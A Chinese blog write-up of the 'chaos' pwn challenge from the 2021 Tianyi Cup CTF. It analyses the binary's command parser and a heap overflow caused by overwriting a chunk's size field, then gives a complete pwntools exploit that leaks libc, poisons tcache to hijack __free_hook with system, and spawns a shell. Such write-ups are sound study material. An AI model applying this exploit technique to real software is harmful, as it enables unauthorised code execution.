2021 天翼杯 pwn chaos

该博客详细分析了一个程序的输入验证过程,指出存在一处缓冲区溢出漏洞。作者展示了如何通过该漏洞泄露libc地址,并进一步利用tcache实现free_hook攻击。exp部分提供了利用此漏洞的完整exploit代码,包括添加、删除、编辑和显示操作,最终实现远程shell的获取。
摘要由CSDN通过智能技术生成

在这里插入图片描述
首先是一个输入,输入完之后逻辑比较长,我们一点一点分析。

首先是一个大的while循环。

while ( !*a1 || *a1 != 10 && (*a1 != 13 || a1[1] != 10) )
  {
    if ( v8 <= 5 )
      *((_QWORD *)&unk_202060 + 2 * v8) = a1;
    sb = strchr(a1, 58);
    if ( !sb )
    {
      puts("error.");
      exit(1);
    }
    *sb = 0;
    for ( sc = sb + 1; *sc && (*sc == 32 || *sc == 13 || *sc == 10 || *sc == 9); ++sc )
      *sc = 0;
    if ( !*sc )
    {
      puts("abort.");
      exit(2);
    }
    if ( v8 <= 5 )
      qword_202068[2 * v8] = sc;
    sd = strchr(sc, 10);
    if ( !sd )
    {
      puts("error.");
      exit(3);
    }
    *sd = 0;
    a1 = sd + 1;
    if ( *a1 == 13 )
      *a1++ = 0;
    s1 = (char *)*((_QWORD *)&unk_202060 + 2 * v8);
    nptr = (char *)qword_202068[2 * v8];
    if ( !strcasecmp(s1, "opcode") )
    {
      if ( v7 )
      {
        puts("error.");
        exit(5);
      }
      v7 = atoi(nptr);
    }
    else
    {
      if ( strcasecmp(s1, "passwd") )
      {
        puts("error.");
        exit(4);
      }
      if ( strlen(nptr) <= 1 )
      {
        puts("error.");
        exit(5);
      }
      v9 = strlen(nptr) - 1;
      if ( dest )
      {
        puts("error.");
        exit(5);
      }
      dest = calloc(v9 + 8, 1uLL);
      if ( v9 <= 0 )
      {
        puts("error.");
        exit(5);
      }
      memcpy(dest, nptr, v9);
    }
    ++v8;
  }

说白了就是对我们的输入进行要求,要求
opcode:1就是功能1,然后功能里面有密码,需要用passwd来
用功能1举例,完整的一个create输入是

“opcode:1\npasswd:Cr4at3a\n”

那我们再来看功能

create
在这里插入图片描述需要一个大小,最大0x208,创建的chunk是0x210,最后两个QWORD分别是大小跟一个指针。

这个指针会把我们所有的chunk串起来,构成一个单链表的状态,链表头放在bss

有漏洞,在哪?
在我们写的时候居然可以把size覆盖掉,第一次覆盖掉,第二次就可以溢出。

edit
在这里插入图片描述

show
在这里插入图片描述

delete
在这里插入图片描述
剩下三个函数就平平无奇。

我们就利用那个溢出,首先泄露libc,之后直接攻击tcache打free_hook就好啦。

exp

from pwn import*

context.log_level='debug'
context.arch='amd64'
context.os = "linux"
context.terminal = ["tmux", "splitw", "-h"]

local = 1
if local:
    r = process('./chaos')
else:
    r = remote("192.168.40.178",8999)
    
libc=ELF('/home/wuangwuang/glibc-all-in-one-master/glibc-all-in-one-master/libs/2.27-3ubuntu1.2_amd64/libc.so.6')

sa = lambda s,n : r.sendafter(s,n)
sla = lambda s,n : r.sendlineafter(s,n)
sl = lambda s : r.sendline(s)
sd = lambda s : r.send(s)
rc = lambda n : r.recv(n)
ru = lambda s : r.recvuntil(s)
ti = lambda: r.interactive()
lg = lambda name,addr :log.success(name+" : "+hex(addr))

def debug():
    gdb.attach(r)
    pause()

def add(size, content):
    sla(">>> ", "opcode:1\npasswd:Cr4at3a\n")
    sla(">>> ", str(size))
    sla(">>> ", content)
    
def show(index):
    sla(">>> ", "opcode:2\npasswd:SH0wa\n")
    sla(">>> ", str(index))

def edit(index, content):
    sla(">>> ", "opcode:3\npasswd:Ed1ta\n")
    sla(">>> ", str(index))
    sa(">>> ", content)

def delete(index):
    sla(">>> ", "opcode:4\npasswd:D3l4tea\n")
    sla(">>> ", str(index))


for i in range(12):
    add(0x208, "a") #0~11

for i in range(8):
    delete(0)

delete(1)
edit(1, '\x01' * 0x200 + p64(0x300))
edit(1, '\x01' * 0x240)

show(1)
libc_base = u64(ru('\x7f')[-6:] + '\x00\x00') - 0x3ebeb0
free_hook = libc_base + libc.sym['__free_hook']
system_addr = libc_base + libc.sym["system"]
one_gadget = libc_base + 0x4f3c2
lg("libc_base", libc_base)

edit(1, '\x01' * 0x200 + p64(0xa00) + p64(0) + p64(0) + p64(0x21) + p64(0) * 3 + p64(0x221))

add(0x200, "a")
delete(1)

payload = '\x01' * 0x470 + p64(0) + p64(0x221) + p64(free_hook)
edit(1, payload)

debug()

add(0x200, "/bin/sh\x00")
add(0x200, p64(system_addr))

delete(1)

r.interactive()
  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值